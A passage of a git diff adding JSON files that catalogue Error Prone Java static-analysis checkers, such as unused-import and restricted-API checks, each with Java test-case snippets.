"code": "enum Kind {\n FOO(42);\n private final int x;\n\n Kind(int x) {\n this.x = x;\n }\n }\n \n\n class Test {\n boolean f(Kind a, Kind b) {\n return a == b;\n }\n }" + }, + { + "description": "negative_null", + "expected-problems": null, + "expected-linenumbers": [ + 329 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional b) {\n return b == null;\n }\n }" + }, + { + "description": "negative_abstractEq", + "expected-problems": null, + "expected-linenumbers": [ + 346 + ], + "code": "interface Sup {\n public abstract boolean equals(Object o);\n }\n \n\n import com.google.common.base.Optional;\n\n class Test implements Sup {\n boolean f(Object a, Test b) {\n return a == b;\n }\n }" + }, + { + "description": "negativeCase_class", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "class Test {\n boolean f(String s) {\n return s.getClass() == String.class;\n }\n }" + }, + { + "description": "transitiveEquals", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "public class Super {\n public boolean equals(Object o) {\n return false;\n }\n }\n \n\n public class Mid extends Super {}\n \n\n public class Sub extends Mid {}\n \n\n abstract class Test {\n boolean f(Sub a, Sub b) {\n // BUG: Diagnostic contains: a.equals(b)\n return a == b;\n }\n }" + }, + { + "description": "erroneous", + "expected-problems": null, + "expected-linenumbers": [ + 429 + ], + "code": "" + }, + { + "description": "typaram", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "class Test {\n boolean f(T t) {\n return t == null;\n }\n\n boolean g(T t1, T t2) {\n // BUG: Diagnostic contains:\n return t1 == t2;\n }\n\n boolean g(X x1, X x2) {\n return x1 == x2;\n }\n }" + }, + { + "description": "negative_compareTo", + "expected-problems": null, + "expected-linenumbers": [ + 470 + ], + "code": "class Test implements Comparable {\n public int compareTo(Test o) {\n return this == o ? 0 : -1;\n }\n\n public boolean equals(Object obj) {\n return obj instanceof Test;\n }\n\n public int hashCode() {\n return 1;\n }\n }" + }, + { + "description": "likeCompareToButDifferentName", + "expected-problems": null, + "expected-linenumbers": [ + 493 + ], + "code": "class Test implements Comparable {\n public int compareTo(Test o) {\n return this == o ? 0 : -1;\n }\n\n public int notCompareTo(Test o) {\n // BUG: Diagnostic contains:\n return this == o ? 0 : -1;\n }\n\n public boolean equals(Object obj) {\n return obj instanceof Test;\n }\n\n public int hashCode() {\n return 1;\n }\n }" + }, + { + "description": "positive_compareTo", + "expected-problems": null, + "expected-linenumbers": [ + 521 + ], + "code": "class Test implements Comparable {\n String f;\n\n public int compareTo(String o) {\n // BUG: Diagnostic contains:\n return f == o ? 0 : -1;\n }\n }" + }, + { + "description": "negative_implementsComparator", + "expected-problems": null, + "expected-linenumbers": [ + 539 + ], + "code": "import java.util.Comparator;\n\n class Test {\n static class Comparator1 implements Comparator {\n @Override\n public int compare(String o1, String o2) {\n if (o1 == o2) {\n return 0;\n } else if (o1 == null) {\n return -1;\n } else if (o2 == null) {\n return 1;\n } else {\n return -1;\n }\n }\n }\n\n static class Comparator2 implements Comparator {\n @Override\n public int compare(String o1, String o2) {\n return o1 == o2 ? 0 : -1;\n }\n }\n }" + }, + { + "description": "negative_lambdaComparator", + "expected-problems": null, + "expected-linenumbers": [ + 575 + ], + "code": "import java.util.Comparator;\n\n class Test {\n private static final Comparator comparator1 =\n (o1, o2) -> {\n if (o1 == o2) {\n return 0;\n } else if (o1 == null) {\n return -1;\n } else if (o2 == null) {\n return 1;\n } else {\n return -1;\n }\n };\n private static final Comparator comparator2 =\n (o1, o2) -> {\n return o1 == o2 ? 0 : -1;\n };\n private static final Comparator comparator3 = (o1, o2) -> o1 == o2 ? 0 : -1;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RemoveUnusedImports.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RemoveUnusedImports.json new file mode 100644 index 0000000..cb28cc6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RemoveUnusedImports.json @@ -0,0 +1,182 @@ +{ + "name": "RemoveUnusedImports", + "language": "java", + "description": "Unused imports", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 253, + "branches": 19, + "apis": 7, + "test": [ + { + "description": "basicUsageTest", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import static java.util.Collections.emptyList;\n import static java.util.Collections.emptySet;\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import java.util.ArrayList;\n import java.util.Collection;\n import java.util.Collections;\n import java.util.HashSet;\n import java.util.List;\n import java.util.Map;\n import java.util.Set;\n import java.util.UUID;\n\n public class Test {\n private final Object object;\n\n Test(Object object) {\n this.object = checkNotNull(object);\n }\n\n Set someMethod(Collection collection) {\n if (collection.isEmpty()) {\n return emptySet();\n }\n return new HashSet<>(collection);\n }\n }\n \n\n import static java.util.Collections.emptySet;\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import java.util.Collection;\n import java.util.HashSet;\n import java.util.Set;\n import java.util.UUID;\n\n public class Test {\n private final Object object;\n\n Test(Object object) {\n this.object = checkNotNull(object);\n }\n\n Set someMethod(Collection collection) {\n if (collection.isEmpty()) {\n return emptySet();\n }\n return new HashSet<>(collection);\n }\n }" + }, + { + "description": "useInSelect", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import java.util.Map;\n import java.util.Map.Entry;\n\n public class Test {\n Map.Entry e;\n }\n \n\n import java.util.Map;\n\n public class Test {\n Map.Entry e;\n }" + }, + { + "description": "useInJavadocSee", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import java.util.Map;\n\n /**\n * @see Map\n */\n public class Test {}" + }, + { + "description": "useInJavadocSeeSelect", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "import java.util.Map;\n\n /**\n * @see Map#get\n */\n public class Test {}" + }, + { + "description": "useInJavadocLink", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import java.util.Map;\n\n /** {@link Map} */\n public class Test {}" + }, + { + "description": "useInJavadocLink_selfReferenceDoesNotBreak", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "/** {@link #blah} */\n public class Test {\n void blah() {}\n }" + }, + { + "description": "useInJavadocLinkSelect", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "import java.util.Map;\n\n /** {@link Map#get} */\n public class Test {}" + }, + { + "description": "diagnosticPosition", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "package test;\n\n import java.util.ArrayList;\n import java.util.List;\n // BUG: Diagnostic contains:\n import java.util.LinkedList;\n\n public class Test {\n List xs = new ArrayList<>();\n }" + }, + { + "description": "diagnosticListsUnusedImports", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package test;\n\n import java.util.ArrayList;\n import java.util.List;\n // BUG: Diagnostic contains: java.util.LinkedList, java.util.Map, java.util.Set\n import java.util.LinkedList;\n import java.util.Map;\n import java.util.Set;\n\n public class Test {\n List xs = new ArrayList<>();\n }" + }, + { + "description": "useInJavadocParameter", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "import java.util.List;\n import java.util.Collection;\n\n /** {@link List#containsAll(Collection)} */\n public class Test {}" + }, + { + "description": "qualifiedJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "import java.util.List;\n import java.util.Map;\n import java.util.Map.Entry;\n\n /** {@link java.util.List} {@link Map.Entry} */\n public class Test {}\n \n\n import java.util.Map;\n\n /** {@link java.util.List} {@link Map.Entry} */\n public class Test {}" + }, + { + "description": "parameterErasure", + "expected-problems": null, + "expected-linenumbers": [ + 286 + ], + "code": "import java.util.Collection;\n\n public class A {\n public void foo(T t) {}\n }\n \n\n import java.util.Collection;\n import java.util.List;\n\n public class B extends A {\n /** {@link #foo(Collection)} {@link #foo(List)} */\n public void foo(List t) {}\n }" + }, + { + "description": "atSee", + "expected-problems": null, + "expected-linenumbers": [ + 314 + ], + "code": "import java.nio.file.Path;\n\n class Lib {\n static void f(Path... ps) {}\n }\n \n\n import java.nio.file.Path;\n\n class Test {\n /**\n * @see Lib#f(Path[])\n */\n void f() {}\n }" + }, + { + "description": "multipleTopLevelClasses", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "import java.util.List;\n import java.util.Set;\n\n public class MultipleTopLevelClasses {\n List x;\n }\n\n class Evil {\n Set x;\n }" + }, + { + "description": "unusedInPackageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 363 + ], + "code": "package com.example;\n\n import java.util.Map;\n \n\n package com.example;" + }, + { + "description": "b69984547", + "expected-problems": null, + "expected-linenumbers": [ + 381 + ], + "code": "package android.app;\n\n public class PendingIntent {}\n \n\n package android.app;\n\n public class AlarmManager {\n public void set(int type, long triggerAtMillis, PendingIntent operation) {}\n }\n \n\n import android.app.PendingIntent;\n\n /** {@link android.app.AlarmManager#containsAll(int, long, PendingIntent)} */\n public class Test {}" + }, + { + "description": "b70690930", + "expected-problems": null, + "expected-linenumbers": [ + 414 + ], + "code": "package a;\n\n public class One {}\n \n\n package a;\n\n public class Two {}\n \n\n package p;\n\n import a.One;\n import a.Two;\n\n public class Lib {\n private static class I {\n public void f(One a) {}\n }\n\n public static class J {\n public void f(Two a) {}\n }\n }\n \n\n package p;\n\n import a.One;\n import a.Two;\n\n /** {@link Lib.I#f(One)} {@link Lib.J#f(Two)} */\n public class Test {}\n \n\n package p;\n\n import a.Two;\n\n /** {@link Lib.I#f(One)} {@link Lib.J#f(Two)} */\n public class Test {}" + }, + { + "description": "b390690031", + "expected-problems": null, + "expected-linenumbers": [ + 476 + ], + "code": "package a;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.CONSTRUCTOR, ElementType.METHOD})\n public @interface One {}\n \n\n package a;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.CONSTRUCTOR, ElementType.METHOD})\n public @interface Two {}\n \n\n package p;\n\n import a.One;\n import a.Two;\n\n public record Test(int z, @One int x, int y) {}\n \n\n package p;\n\n import a.One;\n\n public record Test(int z, @One int x, int y) {}" + }, + { + "description": "shadowed_apparentUsageReported", + "expected-problems": null, + "expected-linenumbers": [ + 525 + ], + "code": "package pkg;\n\n class A {\n interface List {}\n }\n \n\n package pkg;\n\n // BUG: Diagnostic contains: resolves to pkg.A.List\n import java.util.List;\n\n class B extends A {\n List foo() {\n return null;\n }\n }" + }, + { + "description": "methodShadowed_apparentUsageReported", + "expected-problems": null, + "expected-linenumbers": [ + 554 + ], + "code": "package pkg;\n\n class A {\n String format() {\n return null;\n }\n }\n \n\n package pkg;\n\n // BUG: Diagnostic contains: resolves to pkg.A#format\n import static java.lang.String.format;\n\n class B extends A {\n String test() {\n return format();\n }\n }" + }, + { + "description": "staticFieldImportShadowed_apparentUsageReported", + "expected-problems": null, + "expected-linenumbers": [ + 585 + ], + "code": "package pkg;\n\n class A {\n static final int MINUTES = 1;\n }\n \n\n package pkg;\n\n // BUG: Diagnostic contains: resolves to pkg.A#MINUTES\n import static java.util.concurrent.TimeUnit.MINUTES;\n\n class B extends A {\n int test() {\n return MINUTES;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RequiredModifiersChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RequiredModifiersChecker.json new file mode 100644 index 0000000..a2dd14c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RequiredModifiersChecker.json @@ -0,0 +1,102 @@ +{ + "name": "RequiredModifiersChecker", + "language": "java", + "description": "This annotation is missing required modifiers as specified by its @RequiredModifiers annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "annotationWithRequiredModifiersMissingOnClassFails", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "package test;\n\nimport test.AbstractRequired;\n\n// BUG: Diagnostic contains: The annotation '@AbstractRequired' has specified that it must be used\n// together with the following modifiers: [abstract]\n@AbstractRequired\npublic class RequiredModifiersTestCase {}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnFieldFails1", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [public, final]\n @PublicAndFinalRequired int n = 0;\n}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnFieldFails2", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [final]\n @PublicAndFinalRequired public int n = 0;\n}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnFieldFails3", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [public]\n @PublicAndFinalRequired final int n = 0;\n}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnMethodFails1", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [public, final]\n @PublicAndFinalRequired\n private void foo() {}\n}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnMethodFails2", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [final]\n @PublicAndFinalRequired\n public void foo() {}\n}" + }, + { + "description": "annotationWithRequiredModifiersMissingOnMethodFails3", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "package test;\n\nimport test.PublicAndFinalRequired;\n\npublic class RequiredModifiersTestCase {\n // BUG: Diagnostic contains: The annotation '@PublicAndFinalRequired' has specified that it must\n // be used together with the following modifiers: [public]\n @PublicAndFinalRequired\n final void foo() {}\n}" + }, + { + "description": "hasRequiredModifiersSucceeds", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "package test;\n\n import test.AbstractRequired;\n\n abstract class RequiredModifiersTestCase {}" + }, + { + "description": "negativeNestedAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "package test;\n\n @interface Foos {\n Foo[] value();\n }\n\n @interface Foo {}\n\n @Foos({@Foo, @Foo})\n public class Test {}" + }, + { + "description": "negativePackageAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 235 + ], + "code": "package testdata;\n\n import java.lang.annotation.Target;\n import java.lang.annotation.ElementType;\n\n @Target(ElementType.PACKAGE)\n public @interface Anno {}\n \n\n @Anno\n package testdata;" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "package test;\n\n import static javax.lang.model.element.Modifier.ABSTRACT;\n import com.google.errorprone.annotations.RequiredModifiers;\n\n @RequiredModifiers(ABSTRACT)\n public @interface AbstractRequired {}\n \n\n package test;\n\n import test.AbstractRequired;\n\n @AbstractRequired\n class RequiredModifiersTestCase {}\n \n\n package test;\n\n import test.AbstractRequired;\n\n @AbstractRequired\n abstract class RequiredModifiersTestCase {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RestrictedApiChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RestrictedApiChecker.json new file mode 100644 index 0000000..7dcfc75 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RestrictedApiChecker.json @@ -0,0 +1,166 @@ +{ + "name": "RestrictedApiChecker", + "language": "java", + "description": "Check for non-allowlisted callers to RestrictedApiChecker.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 257, + "branches": 27, + "apis": 9, + "test": [ + { + "description": "normalCallAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo(RestrictedApiMethods m) {\n m.normalMethod();\n m.accept(m::normalMethod);\n }\n }" + }, + { + "description": "restrictedCallProhibited", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo(RestrictedApiMethods m) {\n // BUG: Diagnostic contains: lorem\n m.restrictedMethod();\n // BUG: Diagnostic contains: lorem\n m.accept(m::restrictedMethod);\n }\n }" + }, + { + "description": "restrictedCallProhibited_inherited", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo(RestrictedApiMethods.Subclass m) {\n // BUG: Diagnostic contains: lorem\n m.restrictedMethod();\n // BUG: Diagnostic contains: ipsum\n m.dontCallMe();\n // BUG: Diagnostic contains: lorem\n m.accept(m::restrictedMethod);\n // BUG: Diagnostic contains: ipsum\n m.accept(m::dontCallMe);\n }\n }" + }, + { + "description": "restrictedCallAllowedOnAllowlistedPath", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo(RestrictedApiMethods m) {\n m.restrictedMethod();\n m.accept(m::restrictedMethod);\n }\n }" + }, + { + "description": "restrictedStaticCallProhibited", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo() {\n // BUG: Diagnostic contains: lorem\n RestrictedApiMethods.restrictedStaticMethod();\n // BUG: Diagnostic contains: lorem\n RestrictedApiMethods.accept(RestrictedApiMethods::restrictedStaticMethod);\n }\n }" + }, + { + "description": "restrictedConstructorProhibited", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo() {\n // BUG: Diagnostic contains: lorem\n new RestrictedApiMethods(0);\n // BUG: Diagnostic contains: lorem\n RestrictedApiMethods.accept(RestrictedApiMethods::new);\n }\n }" + }, + { + "description": "restrictedConstructorViaAnonymousClassProhibited", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo() {\n // BUG: Diagnostic contains: lorem\n new RestrictedApiMethods() {};\n }\n }" + }, + { + "description": "restrictedConstructorViaAnonymousClassAllowed", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n @Allowlist\n void foo() {\n new RestrictedApiMethods() {};\n }\n }" + }, + { + "description": "restrictedCallAnonymousClassFromInterface", + "expected-problems": null, + "expected-linenumbers": [ + 286 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n void foo() {\n new IFaceWithRestriction() {\n @Override\n public void dontCallMe() {}\n }\n // BUG: Diagnostic contains: ipsum\n .dontCallMe();\n }\n }" + }, + { + "description": "implicitRestrictedConstructorProhibited", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase extends RestrictedApiMethods {\n // BUG: Diagnostic contains: lorem\n public Testcase() {}\n }" + }, + { + "description": "implicitRestrictedConstructorProhibited_implicitConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n // BUG: Diagnostic contains: lorem\n class Testcase extends RestrictedApiMethods {}" + }, + { + "description": "allowWithWarning", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n @AllowlistWithWarning\n void foo(RestrictedApiMethods m) {\n // BUG: Diagnostic contains: lorem\n m.restrictedMethod();\n // BUG: Diagnostic contains: lorem\n m.accept(m::restrictedMethod);\n }\n }" + }, + { + "description": "allowWithoutWarning", + "expected-problems": null, + "expected-linenumbers": [ + 364 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n class Testcase {\n @Allowlist\n void foo(RestrictedApiMethods m) {\n m.restrictedMethod();\n m.accept(m::restrictedMethod);\n }\n }" + }, + { + "description": "allowAllDefinitionsInFile", + "expected-problems": null, + "expected-linenumbers": [ + 385 + ], + "code": "package separate.test;\n\n import com.google.errorprone.annotations.RestrictedApi;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n class Testcase {\n @Allowlist\n void caller() {\n restrictedMethod();\n }\n\n @RestrictedApi(\n explanation = \"test\",\n allowlistAnnotations = {Allowlist.class},\n link = \"foo\")\n void restrictedMethod() {}\n\n @Target({ElementType.METHOD, ElementType.CONSTRUCTOR})\n @interface Allowlist {}\n }" + }, + { + "description": "i2099", + "expected-problems": null, + "expected-linenumbers": [ + 417 + ], + "code": "package t;\n\n class T {\n static class Foo {\n class Loo {}\n }\n\n public void testFoo(Foo foo) {\n foo.new Loo() {};\n }\n }" + }, + { + "description": "i2152", + "expected-problems": null, + "expected-linenumbers": [ + 440 + ], + "code": "class T extends S {\n void f() {\n this.new I(\"\") {};\n }\n }\n\n abstract class S {\n public class I {\n public I(String name) {}\n }\n }" + }, + { + "description": "enumConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 462 + ], + "code": "enum E {\n ONE(1, 2) {};\n\n E(int x, int y) {}\n }" + }, + { + "description": "restrictedApiOnRecordComponent", + "expected-problems": null, + "expected-linenumbers": [ + 478 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.METHOD, ElementType.CONSTRUCTOR})\n @interface Allowlist {}\n \n\n import com.google.errorprone.annotations.RestrictedApi;\n\n public record User(\n String name,\n @RestrictedApi(\n explanation = \"test\",\n allowlistAnnotations = {Allowlist.class},\n link = \"foo\")\n String password) {}\n \n\n class Testcase {\n void ctorAllowed() {\n new User(\"kak\", \"Hunter2\");\n }\n\n @Allowlist\n void accessorAllowed(User user) {\n user.password();\n }\n\n void accessorRestricted(User user) {\n // BUG: Diagnostic contains: RestrictedApi\n user.password();\n }\n }" + }, + { + "description": "restrictedApiOnRecordConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 525 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.METHOD, ElementType.CONSTRUCTOR})\n @interface Allowlist {}\n \n\n import com.google.errorprone.annotations.RestrictedApi;\n\n public record User(String name, String password) {\n\n @RestrictedApi(\n explanation = \"test\",\n allowlistAnnotations = {Allowlist.class},\n link = \"foo\")\n public User {}\n }\n \n\n class Testcase {\n void ctorRestricted() {\n // BUG: Diagnostic contains: RestrictedApi\n new User(\"kak\", \"Hunter2\");\n }\n\n @Allowlist\n void ctorAllowed(User user) {\n new User(\"kak\", \"Hunter2\");\n }\n\n void accessorAllowed(User user) {\n user.password();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RethrowReflectiveOperationExceptionAsLinkageError.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RethrowReflectiveOperationExceptionAsLinkageError.json new file mode 100644 index 0000000..b352120 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RethrowReflectiveOperationExceptionAsLinkageError.json @@ -0,0 +1,30 @@ +{ + "name": "RethrowReflectiveOperationExceptionAsLinkageError", + "language": "java", + "description": "Prefer LinkageError for rethrowing ReflectiveOperationException as unchecked", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class RethrowReflectiveOperationExceptionAsLinkageErrorPositiveCases {\n void assertionErrorExceptionConstructor() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n // BUG: Diagnostic contains: throw new LinkageError(e.getMessage(), e);\n throw new AssertionError(e);\n }\n }\n\n void assertionErrorStringConstructor() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n // BUG: Diagnostic contains: throw new LinkageError(\"Test\", e);\n throw new AssertionError(\"Test\", e);\n }\n }\n\n void assertionErrorStringFormatConstructor() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n // BUG: Diagnostic contains: throw new LinkageError(String.format(\"Test\"), e);\n throw new AssertionError(String.format(\"Test\"), e);\n }\n }\n\n void multiLineCatchBlock() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e1) {\n int a = 100;\n if (a < 100) {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e2) {\n // BUG: Diagnostic contains: throw new LinkageError(e2.getMessage(), e2);\n throw new AssertionError(e2);\n }\n }\n // BUG: Diagnostic contains: throw new LinkageError(e1.getMessage(), e1);\n throw new AssertionError(e1);\n }\n }\n }\\" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n\n public class RethrowReflectiveOperationExceptionAsLinkageErrorNegativeCases {\n void assertionErrorNonStringConstructor() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n throw new AssertionError(1);\n }\n }\n\n void assertionErrorNoArgConstructor() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n throw new AssertionError();\n }\n }\n\n void noThrowAssertionError() {\n try {\n throw new ReflectiveOperationException();\n } catch (ReflectiveOperationException e) {\n throw new IllegalStateException(e);\n }\n }\n\n void noCatchReflectiveOperationException() {\n try {\n throw new ReflectiveOperationException();\n } catch (Exception e) {\n throw new AssertionError(e);\n }\n }\n\n void multiCatchExceptions() {\n try {\n int a = 100;\n if (a < 100) {\n throw new IOException(\"Test\");\n }\n throw new ReflectiveOperationException();\n } catch (IOException | ReflectiveOperationException e) {\n throw new AssertionError(e);\n }\n }\n\n void throwNewReflectiveOperationException() {\n throw new AssertionError(new ReflectiveOperationException(\"Test\"));\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnAtTheEndOfVoidFunction.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnAtTheEndOfVoidFunction.json new file mode 100644 index 0000000..5e99b63 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnAtTheEndOfVoidFunction.json @@ -0,0 +1,70 @@ +{ + "name": "ReturnAtTheEndOfVoidFunction", + "language": "java", + "description": "`return;` is unnecessary at the end of void methods and constructors.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "lastReturnIsDeleted", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public void stuff() {\n int x = 5;\n return;\n }\n }\n \n\n package com.google.gporeba;\n\n public final class Builder {\n public void stuff() {\n int x = 5;\n }\n }" + }, + { + "description": "lastReturnIsNotDeleted", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public int stuff() {\n int x = 5;\n return x;\n }\n }" + }, + { + "description": "returnAtDifferentPositionIsNotDeleted", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public void stuff() {\n int x = 5;\n if (x > 2) {\n return;\n }\n int z = 2173;\n }\n }" + }, + { + "description": "emptyFunctionIsUnchanged", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public void nothing() {}\n }" + }, + { + "description": "nullReturnInVoidIsUnchanged", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public Void nothing() {\n return null;\n }\n }" + }, + { + "description": "constructorIsCleaned", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "package com.google.gporeba;\n\n public final class Builder {\n public Builder() {\n return;\n }\n }\n \n\n package com.google.gporeba;\n\n public final class Builder {\n public Builder() {}\n }" + }, + { + "description": "abstractDoesntCrash", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "package com.google.gporeba;\n\n public abstract class Builder {\n public abstract void stuff();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnValueIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnValueIgnored.json new file mode 100644 index 0000000..235ab88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnValueIgnored.json @@ -0,0 +1,334 @@ +{ + "name": "ReturnValueIgnored", + "language": "java", + "description": "Return value of this method must be used", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 399, + "branches": 12, + "apis": 6, + "test": [ + { + "description": "positiveCases", + "expected-problems": 